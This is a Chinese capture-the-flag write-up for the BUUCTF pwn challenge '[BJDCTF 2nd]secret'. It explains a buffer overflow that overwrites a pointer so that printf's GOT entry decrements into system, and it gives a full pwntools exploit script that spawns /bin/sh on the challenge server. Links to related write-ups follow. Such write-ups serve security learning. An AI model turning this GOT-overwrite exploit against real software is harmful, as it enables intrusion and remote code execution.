[BUUCTF]PWN——[BJDCTF 2nd]secret
[BJDCTF 2nd]secret
步骤:
- 例行检查,64位程序,开启了canary和nx
- 本地试运行一下,看看程序大概的情况,好像是一个什么游戏
- 64位ida载入,检索程序里的字符串,发现了flag字样
- 双击,ctrl+x找到了函数
- sub_46A3F(),游戏开始界面,让我们输入名字
sub_40136D()函数太长了,没法f5
看汇编,看到首先调用了sub_46A329函数,在sub_46A329里读入了一个数据,off_46D090-1,然后跟标记处的数据比较,如果正确的话,就跳转到loc_401392,loc_401392跟sub_40136D是一样的操作,只要有一次不对就会退出
sub_46A329
分析到这儿,对程序大概了解了,要让我们猜对数据1000次,都成功了,就会执行main函数里的system(cat /flag)获取flag的值,感觉真去程序里扣1000个数据,有点不太现实
查看buf参数的时候发现,那个控制次数的变量就在buf后面,我们read可以读入0x16个字符,可以将off_46D090处覆盖掉
一开始的想法是将这个地方改为1,这样猜对一次后就可以直接获取flag,感觉思路没问题,但是不懂为什么打不通,可能是我修改的方法不对吧
做不下去了,去百度了一下网上其他师傅的wp
看wp可知,system的plt和printf的plt相差只有0x10
当比较数据错误的时候,会跳转到该处,里面调用了print函数,输出我们一开始输入的名字
如果将printf的plt地址改为system函数的plt地址,这样执行错误的时候就会执行system函数了,我们一开始输入名字的时候如果输入‘/bin/sh’,这样在这边就能直接获取shell了
如何修改呢,在我们刚刚所说的off_46D090处
由于每猜一次,这个指针所指的内容就会减去1,那么如果在这里放上printf的plt表,然后猜对15次,再猜错一次,那这个值就减去了0x10(16),那就刚好变成了system(很神奇)
思路清楚了,上exp
from pwn import *
#p = process('./secret')
r = remote('node3.buuoj.cn',28901)
elf = ELF('./secret')
printf_got = elf.got['printf']
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
r.sendafter("What's your name?",payload)
for x in answer:
r.sendlineafter('Secret:',str(x))
r.sendlineafter('Secret:','1')
r.interactive()
参考wp:https://www.yuque.com/u239977/cbzkn3/wml031
[BUUCTF]PWN——[BJDCTF 2nd]secret的更多相关文章
- [BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2
[BJDCTF 2nd]ydsneedgirlfriend2 附件 步骤: 例行检查,64位程序,开启了canary和nx 试运行一下程序,看看大概的情况,经典的堆块的布局 64位ida载入,习惯性的 ...
- [BUUCTF]PWN——[BJDCTF 2nd]r2t4
[BJDCTF 2nd]r2t4 附件 步骤 例行检查,64位,开启了canary和nx 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626 main函数 可以溢 ...
- [BUUCTF]PWN——[BJDCTF 2nd]test
[BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ...
- [BUUCTF]PWN12——[BJDCTF 2nd]r2t3
[BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ...
- [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget
[BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...
- [BUUCTF]REVERSE——[BJDCTF 2nd]8086
[BJDCTF 2nd]8086 附件 步骤: 首先查壳儿,无壳,直接上ida,检索字符串,程序里就一个字符串 没法f5反编译出伪代码,大致看了一下汇编,start函数之后调用了sub_10030函数 ...
- [BUUCTF]REVERSE——[BJDCTF 2nd]guessgame
[BJDCTF 2nd]guessgame 附件 步骤: 例行查壳儿,64位程序,没有壳儿 64位ida载入,习惯性的检索程序里的字符串,看到了一串类似flag的字符串,拿去提交,成功 BJD{S1m ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- [BJDCTF 2nd]文件探测
[BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...
随机推荐
- JVM核心——JVM运行和类加载全过程
1.类加载全过程 (1)类加载机制 JVM把class文件加载到内存,并对数据进行校验.解析和初始化,最终形成JVM可以直接使用的Java类型的过程. 加载 将class文件字节码内容加载到内存中,并 ...
- 如何查看dpdk版本
服务器上曾经装过很多版本的dpdk,此时如果编译某个程序出现奇怪错误的时候不由得会怀疑是不是dpdk版本的问题= = 令人吃惊的是,网上搜了一圈居然没有一个简单直接的方法能够直接使用,于是自己实验了一 ...
- python网络自动化运维之环境搭建(EVE-NG+pycharm)
参考了很多资料,发现现在很多环境用的都是GNS3加linux下的python,几乎没有是用EVE-NG加上pycharm的教程,EVE的功能如此强大,存在的教程却较少,这里我出一篇教程供使用EVE作为 ...
- 『学了就忘』Linux文件系统管理 — 57、Linux文件系统介绍
目录 1.了解硬盘结构(了解即可) (1)硬盘的逻辑结构 (2)硬盘接口 2.Linux文件系统介绍 (1)Linux文件系统的特性 (2)Linux常见文件系统 3.整理一下对文件系统的认识 在了解 ...
- JavaWeb Cookie,Session
Cookie 1.Cookie翻译过来是饼干的意思.Cookie是服务器通知客户端保存键值对的一种技术.客户端有了Cookie 后,每次请求都发送给服务器.每个Cookie的大小不能超过4kb. 2. ...
- NOI2021 去不了记
没错,由于某些 zszz 的原因,我是真的去不了了(指去不了 ZJ) Day -11 ~ -7 - 2021.7.12 - 2021.7.16 令人自闭的 ISIJ 终于结束了----From ycx ...
- CF Edu Round 71
CF Edu Round 71 A There Are Two Types Of Burgers 贪心随便模拟一下 #include<iostream> #include<algor ...
- 【shell】真正解决syntax error:unexpected end of file?
今天写了个较长的shell脚本,结构嵌套比较多,最后运行时,出现了syntax error: unexpected end of file的错误. 这个之前碰到过,经常在win系统转移脚本文件到uni ...
- 巩固javaweb的第二十八天
巩固内容: 设置页面的编码方式 实现代码: 每个 JSP 页面都需要设置编码方式,设置 JSP 页面的编码方式可以是下面两种方式 之一. 方式一: <%@ page contentType=&q ...
- DBeaver客户端工具连接Hive
目录 介绍 下载安装 相关配置 1.填写主机名 2.配置驱动 简单使用 主题设置 字体背景色 介绍 在hive命令行beeline中写一些很长的查询语句不是很方便,急需一个hive的客户端界面工具 D ...